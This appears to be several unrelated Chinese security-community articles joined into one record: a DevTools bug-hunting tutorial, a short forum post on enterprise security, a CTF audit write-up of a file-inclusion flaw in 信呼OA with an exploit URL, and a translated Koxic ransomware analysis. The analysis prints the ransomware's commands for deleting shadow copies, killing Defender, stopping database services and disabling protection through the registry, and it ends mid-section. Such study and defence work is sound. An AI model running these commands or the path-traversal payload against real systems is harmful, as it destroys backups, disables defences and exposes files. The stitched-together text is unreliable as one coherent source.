你要安装好IDE（集成开发环境）或者任何一款带html和JavaScript代码高亮的编辑器。这些都是基于你自己的喜好，但是我发现Visual Studio
Code特别好用（顺便说明，我用VSCode做所有的事情，包含我在我的工作中也会使用）。你可以用下面这个链接来下载适合你系统的VSCode
<https://code.visualstudio.com/>
安装NodeJS也是一个很不错的主意(只要经常用它就会越来越熟悉的--在互联网确实有成千上万的资源)。比较好用的在
<https://nodejs.org/en/>
python对我来说也是一个必备工具（如果你使用基于*NIX的系统，你就有机会去使用它，并且它已经安装好了。如果你是windows用户，你必须自己手动安装Python）。能用Python写代码的能力是无价的，并且我建议那些从来没有写过代码的人可以试着使用一下Python
对于在终端中运行和测试JavaScript代码NodeJS是非常有用的（你也可以在浏览器中实现，但是我们稍后会谈论到它们的优点和缺点）。你可以用Python创建你自己的脚本工具，这些工具可以很快的验证漏洞也可以实际的去利用它
--我也会在这篇文章中展示我自己的工具。如果你解释其他的解释型语言（像 Ruby, PHP, Perl,
Bash等），你也可以使用它们。上面这些语言的主要好处在于它们不用编译就可以运行,也可以直接用命令行把它们执行起来。它们可以百分之百的跨平台，而且你可以使用网络上的很多库和模块。
OK，现在终于都弄清楚了
# 查看HTML源码
让我们回到刚才我引用的那个推文上去。你可能会注意，截屏的网页似乎没有内容，似乎仅仅是空白页面。
但是你要看网页的源代码（用CTRL+U
或者在mac上用CMD+Option+U）你会看到大量的代码（不幸的是，我不能提供截屏中的那个网站的url，因为那是一个众测项目的私有项目）。为什么那些元素不会展现在浏览器中？
重要的事情是，有些HTML标签不会在页面中展现任何东西，HTML中有很多这样的标签，我在这里举一些基本的例子`<html>, <head>, <body>,
<style> or<script>`。并且，css也可以因此一些元素（比如，通过设置元素的高和宽都为0，或者设置display为none)
比如下面这个例子：
<html>
<head>
<title>Move along, nothing to see here!</title>
<style>
/* note to myself: add CSS from Bob's repo: https://verysecurecompany.com/__internal__/repo/bob/specs.git */
* {
font-size:16px;
color: #c0c0c0;
}
</style>
</head>
<body>
<iframe src="https://verysecurecompany.com/__internal__/loginframe.html" style="width:0;height:0" frameborder="0" id="you-cant-see-me"></iframe>
<script>
// a hidden feature
console.log('Diagnostic message: username is admin and password is password :)');
</script>
</body>
</html>
如果你在浏览器中打开这样的html页面，它不会显示任何东西并且你也不会从中看到任何东西。但是当你查看源码的时候，你会发现很多有趣的东西。
这里面有很多有价值的信息：urls指向了内部的资源，带有登录框页面的隐藏框架，甚至诊断信息中带有认证信息，而这些信息可以显示开发者工具的console中。虽然这个页面中没有显示任何东西。当然，你不要指望你会在每一个网站上面发现这些信息，可是在常见的情况中，很多JavaScript代码是被注释掉的，有时你能通过这些代码发现那些仍然可以被访问的服务器端api接口。
但是如果只查看源代码的话不会看到所有的东西，因为它只会呈现当前的HTML文档，被`<iframe>,<script>`等类似的标签加载的外部资源会包含更多有趣的东西。你会在Chrome开发者工具中看到这些资源的源码：
树状图最底部的那个按钮是主HTML文档，你可以用“查看源”这个选项去查看它们。所有的资源都会以标准的文件夹和文件树的形式所呈现。如果你点开这些文件，它们的内容就会显示在右边。在上面那个截图中，就是jquery.min.js的文件内容，并且你会经常发现这些JavaScript文件的压缩版本（从web应用程序的性能角度来看，这是很好的习惯）。但是如果你点击最下面那个小图标{}，开发者工具将会“解压”这些代码，让这些代码变的可读。
一些网站会使用一种特殊的功能去安排源码（变形后，真正代码中的变量名，函数名，对象名会被替换掉，而这个也会被用于代码压缩中--你会在
<https://developers.google.com/web/tools/chrome-devtools/javascript/source-maps> 找到关于源码映射的资料。通过给对象提供有意义的名字，同时替换掉那些被压缩的JavaScript变量，可以让格式化后的代码更易读。
另一个更强大的功能是tab中的全局搜索。假设，你发现了一个有趣的函数，你想要找到它在哪里调用的。可能这个函数中包含eval函数，它的参数来自于url，这样你就可以用这个url来执行任意JavaScript代码了。你可以使用CTRL+Shift+F（在mac系统中你可以用CMD+Option+F）去使用全局搜索这样功能。在下图这个例子中，我试图在
AppMeasurement.js中寻找所有引用getAccount函数的地方。你会看到这个函数仅仅被调用了一次，还是在同一个文件中，如果在其他文件中找到这样的字符串，它就会被显示在结果列表中:
有时，你会发现搜索结果在非常，非常长的字符串之中（尤其是那种经过压缩后的JavaScript文件）。你用开发者工具打开这个文件，点下面的{}图标，之后就会在右边展示解压之后的代码了，即使这个文件有好几千行都没有问题。
开发者工具的第二个tab被称为Elements。如你所见，对于在(index)中的源码来说（或者你以源码模式查看网页源代码），Elements这个tab有一点非常大的不同，虽然在Elements中也提供了内容。
前者显示从服务器端加载的HTML文件，Elements则会显示你当前的dom树，包括通过JavaScript代码创建和添加的元素。为了明白这点的不同，我会提供一个小的例子，但是首先，我要先介绍一点原理。
DOM(文档对象模型)实际代表了所有的html节点，dom树有一个根节点`(<html>)`，还有两个重要的子节点`<head>`和`<body>`,所有的其他元素要么是`<head>`
的子节点（像`<title>`或 `<meta>`,要么是`<body>`的子节点（`<div>, <p>, <img>`等）
当你在你的浏览器中个打开一个url时，HTML文件首先会被加载进来，然后代码会被浏览器引擎所解析。当浏览器发现`<script>`或者`<style>`标签时（或者其他带src属性的标签时，像image
文件或者 video
文件时），它会停止解析HTML并且加载那些文件。如果要执行JavaScript代码时，这些代码也会被马上的执行。如果有样式表的话，css解析器也会把css代码解析成css样式规则。所有的事情原理就像下面这张图一样（这个图非常简单，但是足够说明这些基本的概念）
Elements所包含的内容和源码所包含的内容不同之处是什么呢？像下面这个例子，JavaScript添加一个元素到DOM中去：
<html>
<head>
<title>Dynamic P Application</title>
<style>
* {
font-size:18px;
font-weight:bold;
color: #2e2e2e;
}
</style>
</head>
<body>
<div id="container">
</div>
<script>
const el = document.getElementById('container')
const dynamic_paragraph = document.createElement('p')
const dp_content = document.createTextNode('Hello from dynamically added <P>aragraph!')
dynamic_paragraph.appendChild(dp_content)
el.appendChild(dynamic_paragraph)
</script>
</body>
</html>
当你打开浏览器并查看源码时，你会发现所呈现的内容和上面的代码是一样的。
在这个非常简单的例子中，JavaScript添加一个元素到DOM树中。为了看清这样的不同，在开发者工具中使用Elements tab去查看
当你对比Elements标签的中的内容和查看源代码中的内容，你会很容易发现它们的不同点。在Elements标签页中，你可以看到`<p>`
元素之间的内容，它被添加到了`<div id=”container”>`元素的子节点中。你源码模式中不会看到这些元素，因为它们不存在于源代码中。
如果你用一些框架处理这些单页应用，例如AngularJS, React, Vue.js,
Ember.js等。你会看到大量的动态内容被添加到标签之中。这些内容包含变量，还有表单，带分页，排序搜索属性的动态表格或列表。这些元素会造成大量DOM
XSS的产生，或者前端模板会解析用户的输入（像AngularJS会解析{{ }}）
漏洞的原因在于，应用常常使用来自GET请求，POST请求中，保存在cookie中的数据或者浏览器存储中的数据去渲染网站应用中的内容。并且应用自己也会创建很多东西，所以总是会有机会去发现各种各样的漏洞。
在我们进入到JavaScript这一章节之前，还有一点非常重要的事情要说，你要注意网页源代码中那些没有被渲染的注释。你会发现非常多有价值的东西。
# 查看cookie和浏览器存储
你用开发者工具做的另外一件事情就是去检查那些存储在客户端上的信息。网站应用经常会用到两个地方。其中最常见的就是cookie--通过名称来识别的一小片数据（其实cookie就是简单的键-值对数据），通过http请求包和返回包，cookie会在客户端和服务器端来回交换。
浏览器存储是另一个地方，你会在其中发现很多有价值的东西。它们有两种存储形式：本地存储和session存储。这两种存储方式的不同点在于，当你关闭应用时，session会消失（当你关闭浏览器的tab时或者关闭整个浏览器时）。而如果你没有指定时间的话，本地存储会保存相当一段时间（数据本身没有过期时间）
你可以使用开发者工具中的Application tab去查看所有存储在本地的信息。
使用Application
tab你不仅仅能看到这些数据的内容，你还可以去修改，删除，和增加你自己所需要的键以及对应的值，修改这些值之后，应用可能会发生一些不可思议的现象，有时甚至会触发漏洞。通过这样的方式去修改session
token，看会不会导致越权的产生--只要改变维持会话的cookie值就可以了（这仅仅是一个例子，现代web应用程序使用几种不同的方式去识别用户并且仅仅改变单个cookie不足以冒充为其他的用户）
这个标签页上还有一个位置，你可以在那个上面发现JavaScript源码和web应用程序的关系：Service
Workers。你可以在下面这个网站中找到关于Service Workers的介绍 --<https://developers.google.com/web/fundamentals/primers/service-workers/>
这里还是有不少新的东西，不仅许多web应用程序会用到，还可以用它分析web应用是如何工作的，尤其在web应用离线时。
# 分析JavaScript
现在我们来到代码这一章节，这些代码会运行在整个web应用之中（HTML和css仅仅只会作为展示，它们不会包含任何逻辑。但还是有一小部分css的表达式可以运行JavaScript代码，这种特性会导致xss漏洞
--但是在纯HTML和css组成的网页中，这样的机会不是很多）
有几种方式去分析JavaScript代码，我们先用浏览器中的工具试试。我已经介绍了关于Sources
标签和如何使用{}这个功能来让压缩后的代码变的可读。但是你可以用开发者工具做更多的事情其中最好用的一个就是JavaScript的debugger
## 使用DevTools debugger
如果你不了解debug是什么，那么通俗来说，就是让程序停在某一行代码上。这让你可以看到实际的变量值，实际所执行的函数和函数怎么样被调用的（这个优点主要得益于调用栈
--debugger展示了函数的调用顺序，像函数a被函数b调用，在此之前，函数b被另一个函数c调用）。并且debugger允许你单步运行代码（一条指令），这可以让你有机会跟踪程序的每一次改变和其中的状态。最后一点，debugger可以修改运行时的程序，这意味着，当你修改变量时甚至程序自身的逻辑时，程序将会发生什么。高效的使用debugger是一种非常好的方式，我认为这是每一个优秀程序员都应该具备的重要技能。
从赏金猎人的角度来看，debugging可以让你更好的明白程序是怎样工作的，你也可以直接测试你的payload。你也可以很轻松的直接从程序中分离出有漏洞的代码，并且可以用debugger给予你的有力工具去测试这些东西。例如，想象一下，你发现了一个有任意重定向漏洞的函数，你想了解这个函数每一次到底做了什么，这个函数被调用之后浏览器就被重定向到了一个外部的资源，当你被重定向之后，你不会重定向之后的页面里面看到上一步页面的代码。
在重定向函数之前设置一个设置断点，浏览器运行到重定向函数之前就可以停下来，现在你去读取函数的源代码，去了解这个函数是如何工作的，想清楚你要如何注入你的payload，是否需要将你的payload进行编码或者去做其他的事情。
了解完原理之后，就去练习一下。
下面这个代码实现了一个简单重定向的功能
<html>
<head>
<title>Redirection</title>
</head>
<body>
</div>
<script>
// imagine that read url from GET parameter routine goes here...
// but we just hardcode it for now :)
const url = 'https://hackerone.com'
function redirect() {
// I will redirect you! Now!
if (url) {
location.href = url
} else {
location.href = 'https://company.com/__internal__/supersecretadminpanel'
}
}
setTimeout( redirect, 10000 )
</script>
</body>
</html>
当你用浏览器打开这个网站，十秒后，你就会重定向到HackerOne 这个网站中，之后你就再也看不到原始的代码了，因此，你可以不能看到刚才发生的事情。
在浏览器中打开开发者工具，然后选择源代码标签，然后打开上面的HTML文件。现在你有10秒钟的时间在源码的第16行设置断点(`if (url)
{`)。你只要在左边那个带数字的框框上点16那个数字就好了。当十秒过去之后，浏览器就会调用redirect()，然后马上会停到你下断点的那一行：
当我们向下走一步之后，蓝色的那一行就会被执行（蓝色那一行现在还没有执行！这是非常重要的）。你看debugger面板的左侧--那里会展示你现在在哪个位置（调用栈）然后，你如果打开script那个节点，你会看到在执行过程中所有被定义的变量的值（在这个例子中只有url）
现在你需要花费一些时间去阅读和理解这些代码。如你所知，如果16行的那个条件语句为TRUE的时候，我们将会跳转到HackerOne那个网站
让我们修改url这个值，我们去修改一些东西，那么JavaScript中什么样的值会让逻辑判断语句认为这是一个false呢（可能是空的字符串，0，布尔
false，或者其他代表false的表达式）。让我们把他变成false吧（只要点击变量，然后输入你想要的值，就可以改变这个变量的值了）
现在让我们看看发生了什么样的改变。我们将继续走入到下一步，看看debugger面板最顶部上面的图标：
第一个图标将让你继续运行这个程序，第二个图标允许你单步运行（我们一会再说这个），第三个图标允许你跳转进到被调用的函数之中（只要那里没有设置断点，debugger不会进入到函数中去的，它会执行那一行的函数，然后移到下一行去执行），这里有一个叫“跳出”的图标，这个图标可以让函数继续执行，然后跳转到被调用的那一个点
现在点击第二个图标（你会看到url的值已经变成了false），然后你会注意到执行的下一行代码变成了19行（这是因为我们在16行判断语句中设置了false）
如果你按下debugger工具栏上第一个按钮之后（“Play”按钮），这次你会注意到应用会跳转到一个company.com中的一个链接里面去。
你会想到url这个参数可能会是一个漏洞，所以你现在尝试去利用这个问题去发现任意跳转漏洞或者反射型xss漏洞，或者更深一步，你会怀疑这个url会存储在服务器端的某个位置（如果你进一步探索程序内部的逻辑，就能发现你的想法是否是正确的）
## 用Snippets执行JavaScript
有时，你想执行应用中的一部分代码。这可能比较困难，特别是遇到要做大量前置准备工作之后才能触发的代码，就会特别耗时。在这种情况下，你可以使用Snippets去运行你的代码。但是要记住，每一次测试都不会很顺利，比如当你运行一些需要其他依赖的代码时，通常像一些变量会来自其他部分的代码或者代码片段中包含来自其他文件中函数。
但是让我们假设，你要检测一个函数，以检查它所提供的值是否是正确的，并且你希望你只关注代码的逻辑部分。
在源码标签，你会发现一个叫Snippets的面板
当你点击它的时候，你会发现一些片段列表（如果你已经创建了所有的东西）然后可以点击创建new去创建一个新的片段。点击这个选项，然后在控制面板中间的位置，你会看到一些简单的示例代码，这些代码是可被编辑的而且带有代码高亮。你可以把所有的JavaScript代码放上去运行，当你点击位于控制面板左下底部的play按钮（或者你可以用CMD+Enter，在mac系统上你可以用CTRL+Enter）后，你会发现结果会马上打印到下面的控制台面板上去。
你可以无限制的修改和运行你的代码，但是我刚才提到，代码在这里运行时会遇到依赖问题。
Snippets中代码运行于你打开开发者工具的那个页面，你可以在snippet创建和运行你的代码。并且，每一次代码的运行环境都是相同的，这就意味者你之前定义的所有变量依然没有被改变，并且会一直保留那些值。
为什么这很重要？
想想下面的这个例子：
在JavaScript中，当你使用const关键字定义一个常量的时候，你会初始化它的值，并且不会去改变他。如你所见，代码片段按照预期的行为去工作，但是你如果试图改变SOME_CONST的值，再次运行snippet，你会受到下面的这个语法错误：
这个错误是因为SOME_CONST这个静态变量已经被初始化。开发者工具就想，你要在同一个执行环境中继续执行,你编辑的代码已经变的不重要了。
所以你如果用debugger停止正在运行的程序（所有通过程序代码定义的变量，类和函数将会存在于执行环境之中）。如果你试图使用现有的标志在同一个标签页中创建snippet
--有时你要么会覆盖原来网页的代码，要么在
重新初始化某些变量时会让页面报错（比如常量）。为了能够重新运行snippet，首先你要通过刷新浏览器来重新加载页面，清空执行环境（浏览器不会记住web应用的状态的，只要刷新之后，整个进程会重新加载资源，重建DOM树，等等）
为了避免上面的问题，不要使用Snippets（还有有一种比较好的办法，就是你新开一个浏览器标签页，然后打开开发者工具并在那里创建一个新的snippet），你可以使用NodeJS来运行你的JavaScript代码
你可以把你的代码放入一个新的JavaScript文件中，然后用在终端中用NodeJS（你要确定你已经安装好了）运行它：
我将运行三次这个代码，每一次我都会修改SOME_CONST的值。如你所见，没有任何报错，而且每一次执行都会成功，输出的结果也都是正确的。
这是因为，你用NodeJS运行这个代码的时候，它都会创建一个新的执行环境，所以，它不会把一份代码在相同执行环境中运行两次。
## Sources 和 execution sinks
当你看JavaScript代码时，首先你要着重注意两个地方
首先第一个是sources，这个术语描述了，用户输入的每一个点都应该被应用程序所处理。GET请求中的url里面的参数，能被应用程序读取到的cookie或者应用程序使用到的本地存储。
第二个被称为execution sink，这个术语意味着，所有的JavaScript语法元素或者那些可以执行代码的HTML
API。一个很明显的例子就是JavaScript中的`eval(code_to_evaluate)`，这个函数可以通过参数来执行代码。另一个例子是`setTimeout(function_to_execute,
timeout_in_miliseconds)`,可以通过这个函数的第一个参数去执行一个函数，前提是要等到第二个参数的时间到了之后才可以执行。
在应用程序中发现漏洞的过程就是寻找source和处理此source的execution
sink之间的连接。在上面这个例子中，我将展示如何使用debugger，url作为参数(source) 被直接放入location.href
(execution sink) 中。另一个例子是，一个函数会获取HTML输入框中用户输入的数据（JavaScript能通过DOM
API读取到这些数据，例如`document.getElementById(‘input_id’).value`,然后把这些值传递给一个变量，这也可能会是一个source。）然后这个值会被放入到innerHTML()函数中，之后这个函数会更新浏览器中DOM（这就会成为一个execution
sink）
这里有一个非常棒的视频，它的作者是[@LiveOverflow](https://twitter.com/LiveOverflow)。我建议你马上去看看这个[视频](https://www.youtube.com/watch?v=ZaOtY4i5w_U)以熟悉它概念（这个视频大概8分钟长）
在web应用程序中，由于其复杂的业务逻辑，会存在非常多的sources 和 execution
sinks（想想那些输入框，url参数，cookie，浏览器存储，WebSockets等）。但是重要的东西是那些可以被作为execution
sinks的函数。它们也有很多，像location属性：href or hash, window.open(),
document.write()，或者DOM函数：innerHTML 或者
appendChild。它们都可以执行任意代码，任意跳转，或者执行其他类型的注入。
为了识别上面这些代码特征，我写了一个工具[nodestructor](https://github.com/bl4de/security-tools/tree/master/nodestructor)，这个工具可以检查JavaScript文件（参数是单个文件或者包含所有JavaScript文件的文件夹），这个工具可以根据特征寻找execution
sinks（或者sources）。不要指望nodestructor会识别每一行代码或者更容易的去利用--所有的东西都应该依赖于source 和
execution
sink（过滤，编码，解析，将数据转换为object，字符串操作等）。这个工具的主要目的是更容易和更快速的在大量代码中通过规则来寻找有漏洞的代码。
让我们用一个例子来快速的展示这个工具吧。首先，我需要一个JavaScript文件。我将检查来自GM.com
网站的AppMeasurement.js。然后我把这个文件从浏览器中复制下来（首先要解压，并格式化好），然后粘贴到代码编辑器中，然后后保存在一个临时文件夹中。
在终端中，我在AppMeasurement.js文件上运行nodestructor（-H参数是让这个工具去搜索各种HTML5的APIs）
如你所见，这个工具识别了大量潜在的execution
sinks。它们中大多数都是误报，但是让我们集中精力去看看报告结果中的第二个，它看起来像是直接用location.hostname.toLowerCase()
这个函数的结果来初始化domain这个变量。
如果有可能在这个文件中去跟踪这些变量所有的引用，看看它是否被用在了execution sink中。你也可以使用Visual Studio
Code内置工具像Find all references去寻找所有的domain字符串。
我想进一步来挖掘更多的漏洞，所以不久前，我已经开始用我的工具去做这样的事情了--这个是一个简单的JavaScript静态分析工具，所以它没有很花哨的名字。这个工具仍处于开发的早期阶段（它虽然现在还只是个poc，但其实已经很好用了），当我运行这个工具去查找domain这个变量时，它会很快的给出结果的预览（到目前为止，这是唯一可用的选项，正如我所提到的一样，这个工具仅仅只是一个雏形，所以例如文件名这样的东西，看上去就像硬编码在代码里面一样）
如你所见，工具能识别变量在哪里被定义的，在什么时候或者什么地方被怎样使用的。我希望工具能够执行更复杂的分析，像是在不同范围内寻找变量（例如，变量是否是一个函数的参数或者变量是否被当成execution
sink中的参数）
# 总结
web浏览器十一个非常强大的工具。有时，你仅仅会用这个工具去读源代码和了解应用程序是如果工作的，还可以用浏览器寻找漏洞，测试你发现的漏洞，或者仅仅是去了解它是如何工作的并且去了解一些新的东西。
我希望我的文章能让你了解到如何使用浏览器开发者工具这一强大功能。你能通过下面的这个链接找到更多强大的工具。
<https://developers.google.com/web/tools/chrome-devtools/>
如果你有任何问题或者对这篇文章有好的建议--不要犹豫，来推特上找我 <https://twitter.com/_bl4de>
感谢你对阅读，我希望你能找到更多有价值的漏洞
Happy Hacking! | 社区文章 |
目前大家对企业安全体系建设关注比较多，但是在建设过程中可能会遇到很多问题，比如：
1、一个人的安全部，从体系建设规划到执行都是一个人，架构要设计、常规测试也要做；
2、发现问题后整改速度太慢，响应不及时；
3、推行SDL都是比较虚的东西，无法落地；
4、领导对安全不重视，但出问题了又找你；
……
大家一起来聊聊，分享一下经验，讨论讨论。 | 社区文章 |
# 0x01 前言
西湖论剑的题目,比赛时没做出来,赛后又花了点时间还是没做出来.最后看了wp,又去复现了下审计过程,学习到很多知识点.
相关工具:
信呼oa v2.3.1题目源码
seay源代码审计系统
phpstudypro
php7.3.4
wind10
vscode
xdebug
# 0x02 任意php文件包含
## 代码分析
使用代码审计工具在`include/View.php`的`第88行`定位到敏感函数`include_once`,
回溯文件包含中的变量`$mpathname`,
在本文件的`第71和72行`发现了变量定义和赋值的操作.
**先对`第71行`的代码进行分析:**
由图 2
可以清楚的看到变量`$mpathname`由其他两个变量`$tplpaths`和`$tplname`决定.回溯这两个变量,分别在本文件的`第67行`和`第70`行发现最近赋值操作:
$tplpaths = ''.$temppath.''.$d.''.$m.'/';
$tplname .= '.'.$xhrock->tpldom.'';
回溯`$temppath`,在`66行`找到最近赋值操作
$temppath = ''.ROOT_PATH.'/'.$p.'/';
回溯`$p`,在本文件的`第4行`:
$p = PROJECT;
到这里大概可以感觉到`$tplpaths`的路径是写死了的,所以就暂时放弃变量`$tplpaths`去回溯`$tplname`.
回溯`$xhrock`,在本文件的`第37行`发现`$xhrock`的定义:
$xhrock = new $clsname();
回溯`$clsname`,在本文件`第36行`发现定义
$clsname = ''.$m.'ClassAction';
回溯`$m`,在`第8行`发现最近一次赋值操作:
$m = $rock->get('m', $m);
跟进`get()`这个函数,最后发现其核心调用在`include/class/rockClass.php`的`第105`行,
可以看到这个函数的中的`$val`可控.继续跟进`jmuncode()`,到本文件的`第127行`
其函数逻辑大致为对传入的`$s`进行合法行检测以及特殊值的一些特殊处理.配合`xdebug`测试发现只要`$_GET['m']`的值不是一些`sql`关键字,`$m`的值等于`$_GET['m']`.也就是说,这里的变量`$m`可以被用户使用`$_GET['m']`传参进行控制.也就是`$xhrock`是能够进行控制的.
由于`$xhrock->tpldom`这种形式是在获取一个成员属性,全局搜索以下`tpldom`,在`include/Action.php`文件中的`第43行`发现定义.
可以看到最后`tplname`表示文件的后缀名为`html`,没法利用,看来此路不通.
**继续对`第72行`的代码进行分析:**
可以看到第72行代码的形式`$mpathname =
$xhrock->displayfile;`同样为获取某个类的成员属性,再次全局搜索`displayfile`,总共得到14个搜索结果.
每个文件点进去看了一下,在`webmain/index/indexAction.php`下发现惊喜!
可以看到这个文件中的`$displayfile`是以`.php`为后缀的变量,而变量`$displayfile`最后可以决定我们文件包含`$mpathname`的取值,也就是说这里可能存在一个`.php`的文件包含.
继续回溯`$surl`,发现其最近赋值在本文件的`第250行`
$surl = $this->jm->base64decode($this->get('surl'));
跟进`get()`,最后同样来到`include/class/rockClass.php`的`第105`行,和`$m`赋值时调用的函数一样,也就意味着这里传入`base64decode()`函数的内容可控.
再来分析分析外面的`base64decode()`函数,其函数体位于`include/chajian/jmChajian.php`的`第93行`
通过阅读可以发现其逻辑主要是对传入的形参`$str`判断是否为空以及进行敏感字符替换,再返回其base64解码的内容.
这里就存在一个很明显的逻辑错误：很明显base64加密后的字符是不存在`! .
:`,所以对恶意内容进行`base64`编码后传入最后是可以被还原的.也就是说这里的`$surl`是可以被控制的.
回到`include/View.php`的`第72行`,看看是否存在一个利用点使之能得到
`/webmain/index/indexAction.php`下的`indexClassAction->displayfile`.这里需要跟踪的变量是`$xhrock`,而前面以及分析过了`$xhrock`的构造流程也得出结论`$xhrock`部分可控.
这里`$xhrock`可控还存在一个前提是存在文件`$actfile`,跟踪`$actfile`,其定义在此文件下的`第30行`:
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);
跟进`strformat()`方法,来到`include/class/rockClass.php`下的`第551行`:
发现函数体里调用了`stringformat()`方法,继续跟进,到文件的`第542行`
通过阅读`strformat()`以及`stingformat()`的代码可以了解到`strformat`函数的逻辑为找到`$m`操作对应的php文件.而可控变量`$displayfile`位于`/webmain/index/indexAction.php`中,这里可以构造`$m`的值为`index`.在回过来看看变量`$xhrock`就已经等于`new
indexClassAction`了.一切都是这么流畅!
在`第42行`,发现一个调用成员方法:
$actbstr = $xhrock->$actname();
跟踪`$actname`,发现其定义在`38行`:
$actname = ''.$a.'Action';
跟踪`$a`,
$a = $rock->get('a', $a);
可以看到`$a`赋值所使用的方法同变量`$m`相同,也就意味着`$a`也可控,那我们可以直接给控制`$a`为`getshtml`.从而实现调用`webmain/index/indexAction.php`中`indexClassAction`的`getshtmlAction()`函数,在配合`$surl`可控,就可以实现任意.php文件读取.
## 漏洞利用
现存在文件`phpinfo.php`,内容为:
<?php phpinfo();
与`include/View.php`之间的目录关系为
view.php/../../phpinfo.php
先登录进信呼协同办公系统后台,再构造url参数,访问
?m=index&a=getshtml&surl=Li4vLi4vcGhwaW5mbw==
其中,`Li4vLi4vcGhwaW5mbw==`为`../../phpifo`base64编码后的结果.
可以看到成功包含已知相对路径下的`phpinfo.php文件`
# 0x03总结
本次代码审计的流程主要使用`敏感函数参数回溯`的方法,通过代码审计工具定位到敏感函数`include_once`,回溯敏感函数中关于参数`$mpathname`的定义以及赋值的操作.再发现其中涉及到函数以及变量再进行回溯,直到发现漏洞点.这种方法的优点可以通过敏感函数或者敏感关键字快速挖掘到想要的漏洞,但由于没有通读代码,对程序的整体框架了解得不够深入,可能会忽略掉部分逻辑漏洞
其次,再使用`敏感函数参数回溯法`的时候,可能在回溯过程中遇到的变量越来越多,我们不可能短时间内对每个变量和每个函数都进行回溯和跟踪,要学会判断在什么暂停回溯当前变量而去回溯其他变量.有时候代码审计的战线可能会拉的很长,我们得时刻专注和记忆过程中遇到的变量,只有清楚每个变量的变化过程才能更好的挖掘漏洞.
以上就是我本次审计过程中的主要思路以及操作流程,可能过程中存在一些欠佳甚至错误的操作.代码审计入门,希望师傅们多多指出不足. | 社区文章 |
**作者：ASEC BLOG
译者：知道创宇404实验室翻译组
原文链接：<https://asec.ahnlab.com/en/42343/>**
据悉，Koxic勒索软件正在韩国境内传播。它在今年早些时候首次被发现，最近该团队发现，一个外观和内部勒索笔记都经过修改的文件被检测到，并被ASD基础设施屏蔽。
当感染时，“.KOXIC_[Random string]”扩展名将添加到加密文件的名称中，并在每个目录中生成TXT文件勒索通知。勒索信的文件名如下。
* _WANNA_RECOVER_KOXIC_FILEZ_[Random string].txt_
图1.加密文件和赎金说明示例
最近收集的勒索信与BlueCrab（Sodinokibi，REvil）勒索软件的勒索笔记相似，该勒索软件曾在韩国发行。
BlueCrab有自己的网站，并指定用户应该通过TOR浏览器访问它。与BlueCrab相反，Koxic勒索软件通过电子邮件指导联系。
在过去收集的Koxic勒索软件样本中，有些样本的勒索笔记完全不同，有些则与BlueCrab格式几乎相同。但这两个勒索软件之间似乎没有直接联系，因为它们的代码没有相似之处。
图2.比较Koxic和BlueCrab的赎金记录
在这个样本的勒索信中，有一条威胁信息告诉读者，他们的重要文件已经被下载，如果他们不达成协议，这些数据将会被泄露，然而，这从来没有发生过。
另外需要注意的是，部分名称被故意更改以隐藏UPX包装。这种技术被称为UPX技巧，是一种常用的方法，用UPX打包的文件被修改以阻碍分析或绕过AV软件的自动解包。
图3.修改部分名称（UPX Trick）
当勒索软件被执行时，在文件被加密之前会执行以下一系列任务。
**[调试检查]**
使用这两个检查调试的API，如果调试过程正在运行，则当前函数将作为无限循环（递归调用）运行。如果正在运行调试进程，则会发生堆栈溢出。
图4.检查调试的函数
**[修改系统注册表]**
cmd命令用于修改系统注册表。修改值以终止Defender并关闭通知，并且存在将远程会话到期时间延长到最大值的条目。
HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal
Services\MaxDisconnectionTime HKLM\SOFTWARE\Policies\Microsoft\Windows
NT\Terminal Services\MaxIdleTime
HKLM\SOFTWARE\Policies\Microsoft\Windows\HomeGroup\DisableHomeGroup
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\AllowFastServiceStartup
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\ServiceKeepAlive
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time
Protection\DisableRealtimeMonitoring HKLM\SOFTWARE\Policies\Microsoft\Windows
Defender\Real-Time Protection\DisableBehaviorMonitoring
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time
Protection\DisableOnAccessProtection HKLM\SOFTWARE\Policies\Microsoft\Windows
Defender\Real-Time Protection\DisableScanOnRealtimeEnable
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time
Protection\DisableIOAVProtection
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\HideSCAHealth
HKCU\Software\Policies\Microsoft\Windows\Explorer\DisableNotificationCenter
表1.经修改的登记册
**[终止进程]**
通过执行以下命令，Koxic勒索软件试图终止某些进程和服务。但是，因为命令是用换行符而不是“&”运算符分隔的，所以实际上只执行第一行。这被认为是黑客的一个错误。
cmd.exe /c taskkill /F /IM MSASCuiL.exe
taskkill /F /IM MSMpeng.exe
taskkill /F /IM msseces.exe
表2.进程终止命令
**[删除VSC并终止服务]**
执行删除卷影副本的命令和修改多个服务状态的其他命令。像上面的例子一样，只执行第一行，实际上只删除VSC。
cmd.exe /c vssadmin delete shadows /all /quiet
sc config browser
sc config browser start=enabled
sc stop vss
sc config vss start=disabled
sc stop MongoDB
sc config MongoDB start=disabled
sc stop SQLWriter
sc config SQLWriter start=disabled
sc stop MSSQLServerOLAPService
sc config MSSQLServerOLAPService start=disabled
sc stop MSSQLSERVER
sc config MSSQLSERVER start=disabled
sc stop MSSQLSQLEXPRESS start=disabled
sc stop ReportServer
sc config ReportServer start=disabled
sc stop OracleServiceORCL
sc config OracleServiceORCL start=disabled
sc stop OracleDBConsoleorcl
sc config OracleDBConsoleorcl start=disabled
sc stop OracleMTSRecoveryService
sc config OracleMTSRecoveryService start=disabled
sc stop OracleVssWriterORCL
sc config OracleVssWriterORCL start=disabled
sc stop MySQL
sc config MySQL start=disabled
表3. **删除VSC和终止服务** 的命令
**[收集系统信息]**
勒索软件收集系统信息，并将其记录在%temp%目录中的随机文件名下，但没有发现泄漏此数据的例程。收集的信息包括IP地址、系统帐户信息、硬盘信息、网络适配器信息、硬件信息和操作系统信息。
图5.收集的系统信息示例
**[更改进程优先级并授予特权]**
勒索软件将自己的进程优先级升级为“高”，并检查和修改（添加）进程令牌权限。添加的权限如下表所示。
图6.更改流程优先级
SeBackupPrivilege, SeRestorePrivilege, SeManageVolumePrivilege,
SeTakeOwnershipPrivilege
表4.修改的令牌权限
**[文件加密]**
